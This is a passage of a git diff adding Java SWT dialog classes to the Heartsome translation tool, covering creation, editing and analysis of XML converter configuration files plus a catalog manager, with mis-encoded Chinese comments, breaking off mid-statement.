org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加或者修改xml转æ¢é…置文件 + * @author robert 2012-02-22 + * @version + * @since JDK1.6 + */ +public class AddOrEditXmlConvertConfigDialog extends XmlConvertManagerDialog { + private boolean isAdd; + private Text rootTxt; + private Label rootTipLbl; + /** 编辑状æ€ä¸‹çš„根元素 */ + private String curRootStr; + + private Image icon = Activator.getImageDescriptor("icons/tips.gif").createImage(); + + public AddOrEditXmlConvertConfigDialog(Shell parentShell, boolean isAdd) { + super(parentShell); + this.isAdd = isAdd; + root = ResourcesPlugin.getWorkspace().getRoot(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.title1") : Messages + .getString("dialogs.AddOrEditXmlConvertConfigDialog.title2")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + // createButton(rightCmp, IDialogConstants.CLIENT_ID, "分æžXML(&N)", false); + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + new Label(buttonCmp, SWT.NONE); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(2).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.OK_ID, + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.ok"), false); + createButton(bottomCmp, IDialogConstants.CANCEL_ID, + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.cancel"), true).setFocus(); + + initListener(); + + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(700, 500).applyTo(tparent); + + createRootTxt(tparent); + createTable(tparent); + + return tparent; + } + + /** + * 创建xml根,与存储目录 + * @param tparent + * ; + */ + private void createRootTxt(Composite tparent) { + Composite composite = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(composite); + GridLayoutFactory.fillDefaults().spacing(0, SWT.DEFAULT).numColumns(5).applyTo(composite); + + Label rootLbl = new Label(composite, SWT.NONE); + rootLbl.setText(Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.rootLbl")); + + rootTxt = new Text(composite, SWT.BORDER); + GridDataFactory.fillDefaults().indent(6, SWT.DEFAULT).hint(100, SWT.DEFAULT).applyTo(rootTxt); + + // 显示一个图标与“被ä¿å­˜åˆ°ï¼šâ€ + Label iconLbl = new Label(composite, SWT.NONE); + iconLbl.setImage(icon); + GridDataFactory.fillDefaults().indent(4, SWT.DEFAULT).applyTo(iconLbl); + + Label textLbl = new Label(composite, SWT.NONE); + textLbl.setText(Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.textLbl")); + + rootTipLbl = new Label(composite, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).align(SWT.LEFT, SWT.CENTER).applyTo(rootTipLbl); + + rootTxt.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + String tipText = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootTxt.getText().trim() + ".xml").toOSString(); + rootTipLbl.setText(tipText); + rootTipLbl.pack(); + rootTipLbl.setToolTipText(tipText); + } + }); + + // 在添加状æ€ä¸‹ï¼Œå½“根元素文本框失去焦点åŽï¼ŒéªŒè¯æ˜¯å¦ä¸ºç©ºï¼ŒéªŒè¯æ˜¯å¦é‡å¤ + rootTxt.addFocusListener(new org.eclipse.swt.events.FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + String rootStr = rootTxt.getText().trim(); + if (isAdd || (!rootStr.equals(curRootStr))) { + if ("".equals(rootStr)) { + MessageDialog.openWarning(getShell(), + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1"), + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg1")); + } else { + // æ示文件是å¦é‡å¤ + String configXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + File xmlConfigFile = new File(configXmlLoaction); + if (xmlConfigFile.exists()) { + String configXmlFullPath = root.getFullPath() + .append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + MessageDialog.openWarning(getShell(), Messages + .getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1"), MessageFormat + .format(Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg2"), + configXmlFullPath)); + } + } + super.focusLost(e); + } + } + }); + } + + @Override + protected void okPressed() { + String rootStr = rootTxt.getText().trim(); + // 验è¯æ ¹å…ƒç´ æ˜¯å¦ä¸ºç©º + if (rootStr == null || "".equals(rootStr)) { + MessageDialog.openWarning(getShell(), + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1"), + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg1")); + return; + } + + // 添加 + if (isAdd) { + // 创建文件 + String configXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + File configXml = new File(configXmlLoaction); + if (configXml.exists()) { + String configXmlFullPath = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + boolean response = MessageDialog.openConfirm(getShell(), Messages + .getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle2"), MessageFormat.format( + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg3"), configXmlFullPath)); + if (!response) { + return; + } + } + curConvertXml = configXmlLoaction; + // 创建文件 + createConfigXML(configXmlLoaction); + } else { + String configXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + // 编辑,如果根元素与当å‰æ‰€ç¼–辑的根元素ä¸ç›¸ç­‰ï¼Œé‚£ä¹ˆæ£€æŸ¥æ˜¯å¦é‡å¤ + if (!rootStr.equals(curRootStr)) { + File configXml = new File(configXmlLoaction); + if (configXml.exists()) { + String configXmlFullPath = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + boolean response = MessageDialog.openConfirm(getShell(), Messages + .getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle2"), MessageFormat.format( + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg4"), configXmlFullPath)); + if (!response) { + return; + } + } + // 删除当å‰ç¼–辑的文件 + File curEditFile = new File(curConvertXml); + curEditFile.delete(); + } + curConvertXml = configXmlLoaction; + // 覆盖或者生æˆæ–°çš„文件 + createConfigXML(configXmlLoaction); + } + super.okPressed(); + } + + /** + * 编辑状æ€ä¸‹è®¾ç½®åˆå§‹åŒ–æ•°æ® + * @param convertXml + * @return ; + */ + public boolean setInitEditData(String convertXml) { + this.curConvertXml = convertXml; + File xmlFile = new File(convertXml); + // 开始填充表格 + Map newResultMap = handler.openFile(curConvertXml, null); + // 文件解æžå‡ºé”™ + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + + MessageDialog.openWarning(getShell(), + Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1"), + MessageFormat.format(Messages.getString("dialogs.AddOrEditXmlConvertConfigDialog.msg5"), xmlFile.getName())); + return false; + } + // String fullPath = ResourceUtils.getIFileByLocation(curConfigXml).getFullPath().toOSString(); + // System.out.println("fullPath = " + fullPath); + + elementsList = handler.getconvertXmlElements(convertXml); + refreshTable(null); + String xmlName = xmlFile.getName(); + xmlName = xmlName.substring(7, xmlName.length() - 4); // 获å–config_html.xml中的html + rootTxt.setText(xmlName); + curRootStr = xmlName; + + return true; + } + + @Override + public boolean close() { + if(icon != null && !icon.isDisposed()){ + icon.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AnalysisXmlConvertConfigDialg.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AnalysisXmlConvertConfigDialg.java new file mode 100644 index 0000000..6eb1434 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AnalysisXmlConvertConfigDialg.java @@ -0,0 +1,424 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.io.BufferedInputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.Activator; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 分æžXML转æ¢é…置文件 + * @author robert 2012-02-25 + * @version + * @since JDK1.6 + */ +public class AnalysisXmlConvertConfigDialg extends XmlConvertManagerDialog { + private Text analysisTxt; + private Button okBtn; + /** 正在分æžçš„XML的路径 */ + private String curAnalysisXmlLocation; + + private Image icon = Activator.getImageDescriptor("icons/tips.gif").createImage(); + + public AnalysisXmlConvertConfigDialg(Shell parentShell) { + super(parentShell); + root = ResourcesPlugin.getWorkspace().getRoot(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + new Label(buttonCmp, SWT.NONE); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(2).applyTo(bottomCmp); + + okBtn = createButton(bottomCmp, IDialogConstants.OK_ID, + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.ok"), false); + okBtn.setEnabled(false); // ç¦ç”¨ç¡®å®šæŒ‰é’® + createButton(bottomCmp, IDialogConstants.CANCEL_ID, + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.cancel"), true).setFocus(); + initListener(); + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(700, 500).applyTo(tparent); + createRootTxt(tparent); + createTable(tparent); + return tparent; + } + + private void createRootTxt(Composite tparent) { + Composite composite = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(composite); + GridLayoutFactory.fillDefaults().spacing(0, 1).numColumns(5).applyTo(composite); + + Label analysisXmlLbl = new Label(composite, SWT.NONE); + analysisXmlLbl.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.analysisXmlLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(analysisXmlLbl); + + Composite browseCmp = new Composite(composite, SWT.NONE); + GridDataFactory.fillDefaults().indent(6, SWT.DEFAULT).grab(true, false).span(4, SWT.DEFAULT).applyTo(browseCmp); + GridLayoutFactory.fillDefaults().numColumns(2).extendedMargins(0, 0, 0, 0).applyTo(browseCmp); + + analysisTxt = new Text(browseCmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(analysisTxt); + + Button browseBtn = new Button(browseCmp, SWT.NONE); + browseBtn.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.browseBtn")); + + Label rootLbl = new Label(composite, SWT.NONE); + rootLbl.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.rootLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(rootLbl); + + rootTxt = new Text(composite, SWT.BORDER); + GridDataFactory.fillDefaults().indent(6, SWT.DEFAULT).hint(100, SWT.DEFAULT).applyTo(rootTxt); + + // 显示一个图标与“被ä¿å­˜åˆ°ï¼šâ€ + Label iconLbl = new Label(composite, SWT.NONE); + iconLbl.setImage(icon); + GridDataFactory.fillDefaults().indent(4, SWT.DEFAULT).applyTo(iconLbl); + + Label textLbl = new Label(composite, SWT.NONE); + textLbl.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.textLbl")); + + rootTipLbl = new Label(composite, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).align(SWT.LEFT, SWT.CENTER).applyTo(rootTipLbl); + + rootTxt.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + String tipText = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootTxt.getText().trim().toLowerCase() + ".xml").toOSString(); + rootTipLbl.setText(tipText); + rootTipLbl.pack(); + rootTipLbl.setToolTipText(tipText); + } + }); + + // 在添加状æ€ä¸‹ï¼Œå½“根元素文本框失去焦点åŽï¼ŒéªŒè¯æ˜¯å¦ä¸ºç©ºï¼ŒéªŒè¯æ˜¯å¦é‡å¤ + rootTxt.addFocusListener(new org.eclipse.swt.events.FocusAdapter() { + public void focusLost(FocusEvent e) { + String rootStr = rootTxt.getText().trim().toLowerCase(); + if ("".equals(rootStr)) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg1")); + } else { + // æ示文件是å¦é‡å¤ + String configXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + File xmlConfigFile = new File(configXmlLoaction); + if (xmlConfigFile.exists()) { + String configXmlFullPath = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + MessageDialog.openInformation(getShell(), Messages + .getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), MessageFormat.format( + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg2"), configXmlFullPath)); + } + } + super.focusLost(e); + } + }); + + browseBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.xml", "*" }; + String[] names = { Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.filterXML"), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.filterAll") }; + fd.setText(Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.fdTitle")); + fd.setFilterExtensions(extensions); + fd.setFilterNames(names); + String xmlLocation = fd.open(); + analysisTxt.setText(xmlLocation); + // 解æžXML文件并且填充到列表 + analysisXml(xmlLocation); + } + }); + + analysisTxt.addFocusListener(new FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + analysisXml(analysisTxt.getText()); + super.focusLost(e); + } + }); + } + + @Override + protected void okPressed() { + String rootStr = rootTxt.getText().trim(); + // 验è¯æ ¹å…ƒç´ æ˜¯å¦ä¸ºç©º + if (rootStr == null || "".equals(rootStr)) { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg1")); + return; + } + // 创建文件 + String configXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr.toLowerCase() + ".xml").toOSString(); + System.out.println("configXmlLoaction = " + configXmlLoaction); + File configXml = new File(configXmlLoaction); + if (configXml.exists()) { + String configXmlFullPath = root.getFullPath().append(ADConstants.AD_xmlConverterConfigFolder) + .append("config_" + rootStr + ".xml").toOSString(); + boolean response = MessageDialog.openConfirm(getShell(), Messages + .getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle2"), MessageFormat.format( + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg3"), configXmlFullPath)); + if (!response) { + return; + } + } + curConvertXml = configXmlLoaction; + // 创建文件 + createConfigXML(configXmlLoaction); + super.okPressed(); + } + + private void analysisXml(String xmlLocation) { + curAnalysisXmlLocation = xmlLocation; + // 如果所选文件ä¸ä¸ºç©ºï¼Œå°±è§£æžè¯¥æ–‡ä»¶ + if (xmlLocation != null && !"".equals(xmlLocation)) { + // 判断是å¦æ˜¯æ–‡ä»¶ + File xmlFile = new File(xmlLocation); + if (xmlFile.isDirectory()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg4")); + // ç¦ç”¨okbutton + okBtn.setEnabled(false); + return; + } + + if (!xmlFile.exists()) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg5")); + okBtn.setEnabled(false); + } + + String encoding = getEncoding(new File(xmlLocation)); + if (!"UTF-8".equalsIgnoreCase(encoding)) { + try { + File tempFile = File.createTempFile("analysisXmlCverter", ".xml"); +// File tempFile = new File("/home/robert/Desktop/test.xml"); + copyFile(xmlLocation, tempFile.getAbsolutePath(), encoding, "utf-8"); + xmlLocation = tempFile.getAbsolutePath(); + tempFile.deleteOnExit(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + // 开始填充表格 + Map newResultMap = handler.openFile(xmlLocation, null); + // 文件解æžå‡ºé”™ + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + MessageDialog.openInformation(getShell(), Messages + .getString("dialogs.AnalysisXmlConvertConfigDialg.msgTitle"), MessageFormat.format( + Messages.getString("dialogs.AnalysisXmlConvertConfigDialg.msg6"), xmlLocation)); + // ç¦ç”¨okbutton + okBtn.setEnabled(false); + return; + } + okBtn.setEnabled(true); + elementsList = handler.getAnalysisXmlData(xmlLocation); + refreshTable(null); + } + } + + @Override + public boolean close() { + if(icon != null && !icon.isDisposed()){ + icon.dispose(); + } + return super.close(); + } + + + public static String getEncoding(File file) { + String charset = "GBK"; + byte[] first3Bytes = new byte[3]; + boolean checked = false; + try { + BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); + bis.mark(0); + int read = bis.read(first3Bytes, 0, 3); + if (read == -1) + return charset; + if (first3Bytes[0] == (byte) 0xFF && first3Bytes[1] == (byte) 0xFE) { + charset = "UTF-16LE"; + checked = true; + } + else if (first3Bytes[0] == (byte) 0xFE + && first3Bytes[1] == (byte) 0xFF) { + charset = "UTF-16BE"; + checked = true; + } + else if (first3Bytes[0] == (byte) 0xEF + && first3Bytes[1] == (byte) 0xBB + && first3Bytes[2] == (byte) 0xBF) { + charset = "UTF-8"; + checked = true; + } + bis.reset(); + if (!checked) { + int loc = 0; + while ((read = bis.read()) != -1) { + loc++; + if (read >= 0xF0) + break; + if (0x80 <= read && read <= 0xBF) // å•ç‹¬å‡ºçŽ°BF以下的,也算是GBK + break; + if (0xC0 <= read && read <= 0xDF) { + read = bis.read(); + if (0x80 <= read && read <= 0xBF) // åŒå­—节 (0xC0 - 0xDF)// (0x80 - 0xBF),也å¯èƒ½åœ¨GBç¼–ç å†… + continue; + else + break; + } + else if (0xE0 <= read && read <= 0xEF) {// 也有å¯èƒ½å‡ºé”™ï¼Œä½†æ˜¯å‡ çŽ‡è¾ƒå° + read = bis.read(); + if (0x80 <= read && read <= 0xBF) { + read = bis.read(); + if (0x80 <= read && read <= 0xBF) { + charset = "UTF-8"; + break; + } + else + break; + } + else + break; + } + } + } + bis.close(); + } catch (Exception e) { + e.printStackTrace(); + } + return charset; + } + + private static void copyFile(String oldFile, String newFilePath, + String strOldEncoding, String strNewEncoding) throws Exception { + FileInputStream fileInputStream = null; + InputStreamReader inputStreamRead = null; + BufferedReader bufferRead = null; + + BufferedWriter newFileBW = null; + OutputStreamWriter outputStreamWriter = null; + FileOutputStream fileOutputStream = null; + try { + fileInputStream = new FileInputStream(oldFile); + inputStreamRead = new InputStreamReader(fileInputStream, + strOldEncoding); + bufferRead = new BufferedReader(inputStreamRead); + + fileOutputStream = new FileOutputStream(newFilePath, false); + outputStreamWriter = new OutputStreamWriter(fileOutputStream, + strNewEncoding); + newFileBW = new BufferedWriter(outputStreamWriter); + + String strTSVLine = ""; + + while ((strTSVLine = bufferRead.readLine()) != null) { + if (strTSVLine.equals("")) { + continue; + } + newFileBW.write(strTSVLine.replaceAll("Shift_JIS", "UTF-8")); + newFileBW.write("\n"); + } + } finally { + if (bufferRead != null) + bufferRead.close(); + if (newFileBW != null) { + newFileBW.flush(); + newFileBW.close(); + } + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/CatalogManagerDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/CatalogManagerDialog.java new file mode 100644 index 0000000..4800033 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/CatalogManagerDialog.java @@ -0,0 +1,242 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.TableViewerLabelProvider; +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; + +public class CatalogManagerDialog extends Dialog { + private Button addBtn; + private Button deleteBtn; + private Button editBtn; + private TableViewer tableViewer; + private IWorkspaceRoot root; + private ADXmlHandler adHandler; + private Table table; + private String catalogXmlLocation; + + public CatalogManagerDialog(Shell parentShell, IWorkspaceRoot root) { + super(parentShell); + this.root = root; + catalogXmlLocation = root.getLocation().append(ADConstants.catalogueXmlPath).toOSString(); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void configureShell(Shell newShell) { + // TODO Auto-generated method stub + super.configureShell(newShell); + newShell.setText(Messages.getString("dialogs.CatalogManagerDialog.title")); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + addBtn = createButton(parent, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.CatalogManagerDialog.addBtn"), false); + editBtn = createButton(parent, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.CatalogManagerDialog.editBtn"), false); + deleteBtn = createButton(parent, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.CatalogManagerDialog.deleteBtn"), false); + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("dialogs.CatalogManagerDialog.cancel"), + true); + + initListener(); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); + parentData.widthHint = 700; + parentData.heightHint = 400; + tparent.setLayoutData(parentData); + + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.H_SCROLL | SWT.V_SCROLL | SWT.BORDER + | SWT.MULTI); + table = tableViewer.getTable(); + table.setHeaderVisible(true); + table.setLinesVisible(true); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + + String[] columnNames = new String[] { Messages.getString("dialogs.CatalogManagerDialog.columnNames1"), + Messages.getString("dialogs.CatalogManagerDialog.columnNames2"), + Messages.getString("dialogs.CatalogManagerDialog.columnNames3"), + Messages.getString("dialogs.CatalogManagerDialog.columnNames4") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new 